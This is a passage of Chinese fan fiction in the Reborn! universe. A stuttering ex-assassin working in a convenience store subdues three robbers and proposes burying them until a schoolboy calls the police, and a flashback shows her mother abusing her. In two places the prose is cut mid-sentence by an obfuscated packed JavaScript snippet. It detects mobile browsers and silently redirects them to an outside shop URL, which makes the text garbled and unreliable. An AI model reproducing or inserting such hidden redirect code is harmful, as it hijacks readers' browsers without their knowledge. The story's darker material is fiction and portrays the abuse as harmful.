《【家教】结…结巴也要加入你们少少少年漫冒险吗。》 3. 我们还是报警吧 哦哦,斯帕纳啊。芝芝就是委托他帮忙去掉了手机的定位系统。 她打字:【原来是你啊。】 又打字:【可是你是怎么找到我的呢。】 继续打字:【我都把手机号换掉了。】 斯帕纳:【谁跟你说换掉手机号就没人找得到你了?】 斯帕纳:【你的手机是我研发的技术,我当然能联系得上。】 诶。原来是这样吗?芝芝不太懂高科技,但开始思考换手机的事。反正她对手机的需求也不高。 那边,斯帕纳的消息继续在屏幕上跳动:【你怎么回事,为什么他们说你失踪了?你找我拆定位系统是为了这个?你最近过得怎么样?谁在你身边?】 芝芝:【不是失踪,是金盆洗手。】 斯帕纳:【金盆洗手是什么东西?】 芝芝:【就是,退出里世界的意思。】 芝芝:【我查过了,金盆洗手之后就不能和以前的人联系了。我要把手机换掉,以后你不要找我了。】 斯帕纳:【……?】 斯帕纳:【什么意思。】 斯帕纳:【别管那个了。先告诉我,现在谁在你身边?】 芝芝本来已经打算把手机关机,但是看到这条消息,又有点儿想炫耀。 她高兴地捧着手机打字:【今天认识了笹川。】 她本来想写“京子”,可是日本人好像很有距离感,入乡随俗,芝芝一直很懂这个规矩,便克制地称呼了姓氏。 斯帕纳:【?】 斯帕纳:【笹川是谁?】 芝芝:【我的第一个朋友。】 斯帕纳:【?】 芝芝:【再见。】 不等屏幕上再跳出问号,芝芝摁住了关机键。 手机垂死挣扎似的嗡嗡两声,接着归入平静。 说起来,这支手机已经陪伴了芝芝快八年,最初是斯帕纳把它放到她手上,而粉色的手机壳、漂亮可爱的贴纸,都是以前的朋友看不过去她的手机灰扑扑,帮她粘上去的。八年时间转眼即过,手机没有丝毫落伍,反而有不少超越时代的黑科技,若非金盆洗手要求严格,芝芝也不想把它换掉。 老板进来的时候,看到的是芝芝捧着手机,小脸耷拉的场景。她幻视了一只可怜兮兮的小猫,连忙开口问芝芝怎么了。 芝芝发愁:“要、要换,新手,手机。” 老板问她是不是没有钱? 芝芝摇头:“不,不不是的。我只是……只是不,不知道怎么挑,手机。” 怎么说呢,这个答案并不出乎意料。老板摇了摇头,无奈说,那找个时间,我陪你去吧。 这段时间老板已经看穿了芝芝本质。 完全是生活白痴啊这孩子。 除了挑选新手机这种略显专业的事,芝芝在别的方面同样显得茫然笨拙。她不会挑出门的衣服,所以下雪了,她还穿着秋装;她也不会挑每天的餐食,如果没有人干涉,她会一日三餐吃同样的白饭;她其实很需要人照顾,只不过生命力顽强,所以一个人生活好像也能过得下去:至于生活的质量您别管,活着就是活着。 芝芝自己不觉得冷,也不觉得白饭无味,所以她没觉得不对;可她身边的人显然不那么觉得。所以有人帮她挑手机壳,有人帮她贴贴纸,有人带她去吃好吃的食物,有人帮她挑好出门穿的厚实的衣服。从前这些活是她的朋友“轮流”干,现在老板看不下去,成了她的新守护神。 芝芝眼睛亮晶晶的,说好啊好啊,我好开心。 老板拍拍她的脑袋,想不明白是什么样的环境养出了这孩子。 · 继换掉身份信息、换掉电话卡之后,芝芝又换掉了自己的手机。 这样的话,好像真的就再也见不到他们了哦。 她摆弄着自己的新手机,脑袋里慢吞吞冒出那么个念头。 朋友们联合养了芝芝这么多年,当然在芝芝心里有些份量。 但这些份量算起来,和大润发的杀鱼刀差不多:是比被杀的鱼重要得多,可从没听说过员工离职了还要带走杀鱼刀的啊? 芝芝把手机放下,心安理得打起了游戏。 没心没肺的人,不仅不在乎自己,更不会在乎别人哦。 · 芝芝打游戏很厉害,她曾经帮邻居小孩殴打关底大Boss,以此获得报酬,吃到了人生第一根棒冰。邻居小孩捧着通关了的游戏机惊为天人,马上给她介绍新的客人,一传十十传百,客人源源不断来了!芝芝的事业眼看着就要发光发热,这时候却东窗事发,她被狠狠扇了几巴掌,拖回了家。 “又出去丢人,又出去丢人!!!你还要折磨我到什么时候,你到底要折磨我到什么时候!” 女人歇斯底里的声音在屋子里越发尖锐,“你知不知道我出去都会被人指指点点,都是因为你,都是因为你啊!!!” 幸运的是,芝芝没有游戏机!所以她没有经历心爱的游戏机被一脚踩碎后心也碎掉了的狗血剧情。 不幸的是,芝芝没有游戏机,而邻居小孩也被大人耳提面命,不敢再靠近她。 她从此没有游戏机玩。 撞大运穿越之后,她也没想过还能再玩游戏机。是来到日本之后,偶然接触到,她才发现。 日本是游戏机的天堂哦。 芝芝像只栽进了米缸的小老鼠,晕乎乎的好幸福。 她兢兢业业打游戏,打得不亦乐乎,偏偏这个时候便利店的铃声却响了起来,有新的客人了。 芝芝从来不耽误工作,以前杀人的时候是,现在当然也是。 虽然放过一路过关斩将杀过来讨伐的大Boss有点可惜……但果然还是先接待客人吧。芝芝依依不舍地放下游戏机,抬起头。 “这个月的保护费准备什么时候交?” 面前站着三个凶神恶煞的客人,他们一只手握着棒球棍,一只手对着芝芝搓手指。 芝芝眨眨眼:“客,客人。你们要、要买,买什么吗。” 几个客人对视一眼,接着哈哈大笑。 “还真是个结巴啊!” “哈哈哈哈哈哈看上去倒是挺嫩的!” “那个老婆子终于不行了吗,换了个那么小的!喂喂,快点把保护费交出来,不然……” 客人一边说话一边把手伸向柜台的收银机,完全是没把芝芝放在眼里。 芝芝思考了一下。 原来是遇到了抢劫的。 那就好办了。别的芝芝不会,杀人她还不会吗?就是处理尸体有点儿麻烦,日本这丁点大的地方,人均居住面积小得可怜,找个地方埋尸真不容易…… 可恶,以前这种事会有别人帮她处理的。 不不不,别想以前了,她都成年了,该自力更生了。 芝芝绷着脸走出柜台。因为动作过于自然放松,反而显出几分诡异。三个抢劫犯莫名感到脊背发寒,但因为感知过于低下类似草履虫而顽强地伸手去抓钱。 然后就被有一个算一个地放倒了。 砰! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149379|196430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砰!砰! 芝芝动手的时候也透着一股子呆劲。没什么花里胡哨的招式,她只是走到敌人身边-躲过攻击-出手,就接连把三个人全都踩在了脚下。压根没来得及再放狠话,抢劫犯失去了意识。 芝芝计划了一下路线,发现想要在白天避开耳目把他们拖走是不可能的。那就只能先把他们藏起来,晚上的时候再动手。 她蹲下来认真地思考,能把这些人塞进哪里。货架后面吗?还是小仓库? 没等她思考出来个结果,便利店的铃声响了起来,大门被推开了。 一个少年走了进来,他黑发黑眼,看上去刚刚结束了体能训练,额头上有细细的汗水,鬓角微湿。春日的阳光从身后穿过他落入店里的瓷砖地,折射出虹般的彩色,少年穿着并盛中学的校服,长袖被松散卷到臂弯的位置,露出一截麦色的手臂,他没有背书包,但身后背着一支棒球棍。 “……” 芝芝的目光落在他身后的棒球棍。 少年的目光先落到地上三个躺得七扭八歪的抢劫犯身上,接着转回到芝芝刘海下的眼睛。 芝芝:“打…打劫?” 芝芝:“你、你也,也是他,他们的,同伙吗?” 不能怪芝芝误会,实在是这个进店的少年也背着棒球棍——怎么看都怎么和地上的三个人像是同伙。 少年顿了一下,发现她目光的落点,顿时明白了过来。 “啊,不是的,”他笑着道,“这是我训练用的棒球棍啦。拜托,棒球棍也不是只能用来打劫嘛。” 原来是误会了啊,芝芝:“对不、对不起。” “也不用说对不起啦,”他挠了挠头,“毕竟确实很多人买棒球棍是为了干不光彩的事。话说,他们怎么了?要帮忙报警吗?” 他猜想芝芝用了防身电棍之类的东西,制服了地上的三个人,然后因为紧张而不知所措,因此琢磨着要不要帮忙。 可是,如果帮忙报警的话,就会成为当事人之一。这样没准会被警察要求留下来哦,浪费时间在这上面,值得吗? 山本武有些踌躇不决,这个学期末有一场县级比赛,为此冬假才结束不久,棒球部就已经开始准备。部员们平时的训练加重许多,而他作为万众瞩目的核心更是不能懈怠,哪怕部内的训练已经结束,他想的也不是回去休息,而是在便利店买一些速食饭团,然后回家继续练习。 如果留下来的话,今天晚上的时间就荒废了。要帮忙吗? 出乎他意料的是,芝芝摇了摇头。 被拒绝了吗? 啊,也是,只是报个警而已,没什么困难的吧。根本没必要……… 芝芝:“不,不要报…报警。” 芝芝:“那个,你知、知道哪里,有…地方,能,够,埋东西,吗?” 山本武:“?” 是不是哪里不对。 芝芝:“知、知道,吗?” 黑发少年看着她圆圆的眼睛,沉默半晌,缓缓露出一个笑容:“知道是知道的。不过,你为什么想要去这种地方呢?” 芝芝:“埋、埋尸体。” 山本武:“……?” 芝芝没察觉出他的疑惑,很认真地指着地上的三个人,说:“我,我……我要把他们,埋下去。” 山本武:“他们好像不是尸体?” 芝芝:“很…很快,就会是了。” 山本武:“……” 他委婉地劝解,并掏出了手机:“我想,我们还是先报警吧。” 4. 不要哭 晚上七点左右,警车乌尔乌尔乌,来了又离开。三个抢劫犯被敲醒之后看到的就是一脸严肃的警察,登时涕泗横流,连连表示自己只是想要收点保护费,什么也没做啊!警察叔叔把他们的话当成耳边风,将他们押上车,离开之前还不忘安慰被惊吓到的便利店店员,然后大力表扬报警了的正义路人。 “小伙子,真是不错啊!要我们帮你向学校提出表扬吗?” 不知为何,正义路人的表情有些奇怪。 “啊,这个就不用了……” 警车抵达之后,和警察交流的工作都由山本武包揽过去。升斗小民面对警察大多都会紧张,他却应对得游刃有余,完全不像个普通学生。而芝芝什么都不用做,只需要在合适的时机默默点头就行。也不怪警察把她当成被惊吓到的可怜少女,她那副茫然的样子看上去无辜极了。 警察走了,正义路人和便利店店员站在门口看着警车离开。等到警灯也消失在了拐角,山本武转过身,发现芝芝正在看着他。 对上他的目光后,她歪了歪头。 然后想起了什么,跑回柜台后面,问他是不是要买什么来着? 毕竟进了便利店的人,都是为了买些什么吧。 山本武本来是打算买了速食饭团就走,结果看着她的眼睛,临时改了主意。他选了一份鳗鱼饭,在芝芝放进微波炉加热的时候,坐到了窗边。 芝芝把饭拿过来给他的时候,他招呼她也坐下来,“反正这会都没有客人了,我们聊聊天吧?” 芝芝不太想聊天,可是少年不久前才帮了她忙,还告诉了她“抢劫犯罪不至死、找警察来就可以了”的道理,她觉得他是个好人,便也坐到了他的身边。 “你叫什么名字呢?我之前从来没有见过你,是新来的吗?你是我们学校的学生吗?勤工俭学?” 一下子被问了好多问题。 不过面前只有一个人,问题可以一个接一个慢慢回答。 “我叫、芝芝。” “我是…是,新来的。” “不,不是学、学生。” “没有……勤?勤工、俭……学。” 她说话磕磕巴巴的,虽然努力控制了每个字之间的间隔不要太长,但仍然花了很长时间才表达完自己的意思。 山本武听完了,有些惊讶地问她:“你不上学了吗?” 芝芝:“不……不……不不要上学!” 山本武:“可是国中也还在义务教育的阶段。不上学是违法的哦。” 芝芝:“我,我都已经,十八…十八岁了。”十八岁了还要义务教育吗?不要骗她,芝芝不是傻瓜。 “诶——十八岁?一点都不像,你是在骗我吧芝芝,”山本武睁大了眼睛,“你看上去比我还矮。” 穿越前芝芝矮人一头。穿越后芝芝仍然矮人一头。在意大利被猛地抱起来按在怀里的时候她还能安慰自己,欧美人就是长得很高哦!我长得矮只是和他们比而已!可到了日本,她再也不能那么安慰自己了:因为哪怕在这个国家,她的身高也是矮的那一挂。 都已经十八岁了,满打满算才刚刚到一米六。芝芝瞅瞅玻璃里的影子,坐在自己旁边的黑发少年肉眼可见比自己高半个头。 “……”怎么这样啊! 她变成了阴郁蘑菇,肉眼可见地低落下去。 山本武发现自己说错了话,连忙安慰:“啊也没有,我只是说说而已,其实你也不矮了,都到我的鼻子了,已经很高了!” 他努力想要证明芝芝不矮,还凑到她旁边比划。 而事实证明他的安慰一点儿作用也没起到。 芝芝看着镜子里的自己,再看看把身体倾斜过来都比自己高的黑发少年。 更阴郁了。 山本武花了好长时间也没把她从阴郁的心情里拖出来。好在这时候便利店的门再一次被推开,芝芝本应该跳下去招待客人,却在看到来人的时候停顿住了。 她脸上露出一个软软的笑。 咦……她笑起来很好看啊。 旁边的少年看着她的侧脸发了一会儿呆,这边,进门的老板没在柜台看到人,目光转一圈在窗边看到芝芝时松了口气。 “我接到电话有人来店里闹事……你没事吧,芝芝?” “没…没有,事,”芝芝摇了摇头,声音软绵绵的。老板很心疼,尤其是打电话的警察说店员好像被吓到了,让她安抚一下。她觉得芝芝一定受了很大的委屈,于是把她捏圆揉扁地安慰。 芝芝乖乖地任她揉搓,像个真的受到了惊吓的小孩。 老板把芝芝揉捏完,又感谢山本武帮忙报警:“谢谢你啊小哥,如果不是你的话,芝芝一定不知道怎么处理这件事……” 山本武:如果不是我的话,今晚就会有三个人被埋进并盛町的土地里。 他看看老板身后的芝芝,本来想说出真相,但对上她圆圆的眼睛——这孩子根本没察觉发生了什么啊——又把话吞进了肚子里。 他冲芝芝眨了眨眼睛:那这个就当成我们的秘密吧。 诶。 什么意思……? 芝芝歪着脑袋想了想,学着他,也眨了眨眼睛,像只学人猫。 不懂,但模仿。 · 老板没收山本武的钱,还送了他一些便当和水果,“晚上饿了的话可以当夜宵吃。” 父亲山本刚这几天在外地考察食材来源,山本武一个人解决吃饭问题,老板这下这可是帮了大忙。 他很有礼貌地道了谢,带上了自己的棒球棍,走出门的时候和芝芝道别:“那明天见啰,芝芝。” 芝芝没想到他会和自己告别,呆了一下才回应:“明、明天见。” 啊,她不知道他叫什么名字。芝芝纠结了一下,就想略过不提,却被后者看穿了似的,少年笑道:“我叫山本武!你可以喊我阿武。” 芝芝:“那,那。阿武,明天见。” 山本武笑着对她挥了挥手臂,大步离开了,身影很快融入夜色之中。 · 第二天,在再见山本武之前,芝芝先遇见了上回被狗追的少年。 中午的时候,沢田纲吉蔫头耷脑地来买午饭。 他显然是帮人代买,在透明的玻璃柜前念叨着要买什么什么品类。又显然他记忆力不大好,念了一会后少年敲自己的脑袋,却绝望地发现自己记住的东西不知何时已经像流水一样流出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149380|196430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。 完全没记住啊! 他简直要哭了。 他急得团团转,但没有人来帮忙。最后,芝芝看着他哭丧着脸走到柜台面前,有气无力地说结账。 芝芝慢吞吞嗯了一声,开始扫条形码。少年盯着柜台的台面发呆,突然觉得好眼熟。 粉色的指甲,被边缘被修得很整齐,但有些日子没有剪,因此有些过长了。皮肤是泛着淡粉的白色,像珍珠一样有柔和的光晕。 好眼熟啊,这只手好眼熟。 是谁的手呢? 他的目光无意识地向上,顺着手指、手臂、肩膀……最后是脸,他的目光定格在芝芝的脸上,少年睁大了眼睛,他喊了出来:“是…是你!” 芝芝也认出他来了:“是……是我。” 两个人站在一起,分不清谁是真结巴,谁是假结巴。 回想起之前的见面,沢田纲吉还有些尴尬,但那毕竟已经是上次的事情了,再来一次四脚着地跑掉吗?不要啊!他只好强忍蹦起来逃跑的冲动,站在柜台面前,等着芝芝扫码。 也许是不自在,他不自觉做出了平时不会做的事,他有些可怜地碎碎念起来。 内容无非是些琐碎的小事。又被要求了顶替值日,又被要求“帮”买面包和便当,又被“借”钱了…… 他念着念着,语气听上去好像要哭了。 芝芝把货品塞进袋子里,推过去给他的时候,“嗒”的一声。 她搭在袋子上的手烫了一下。 手背上溅开了一朵温热的水花。 芝芝迟钝的抬起头,发现少年真的哭了。 好巧不巧落下一滴眼泪,砸在芝芝的手上。 “……” 她呆了一下。 · 外面在下雨。 雨水飘进大开的窗页里,水汽潮湿森冷。 昏暗的房间里药片洒落一地。 药瓶在冰冷的地板上滚动,不久前它砸在女孩的头上,带起一片红肿。她穿着破旧的衣裳,神情懵然,跪坐在地上,好一会儿过去她才明白发生了什么,生理疼痛让她下意识扁起嘴—— 比眼泪来得更快的是耳光。 “你又哭!又哭!哭给谁看!你以为我会可怜你吗,我呸!你这个小贱人,就该给我去死!” “为什么我会生下你这样的孽种,为什么,为什么!你毁了我的人生,你还哭?!你还敢哭?” “你给我闭嘴!再哭我就杀了你!” 女人哭泣和尖叫的声音在雨夜里扭曲而渗人。 芝芝蜷缩在角落里,四肢已经快被冻僵,唯一发热的地方——疼痛作一匹熊熊燃烧的火焰,集中在她的脸上,灼烧着冰冷的雨夜。 她就在这火辣辣的温暖中慢慢把眼泪憋了回去。 芝芝啊,芝芝。你不能哭了、再哭还会被打的。 被打,好痛啊。 芝芝,你凭什么哭啊?你没有资格哭的,你连眼泪都不能掉。 所以芝芝,不能哭、不能哭、不能哭。 你不能哭你不能哭你不能哭你不能哭你不能哭你不能哭你不能哭你不能哭你不能哭—— 芝芝,你不能哭。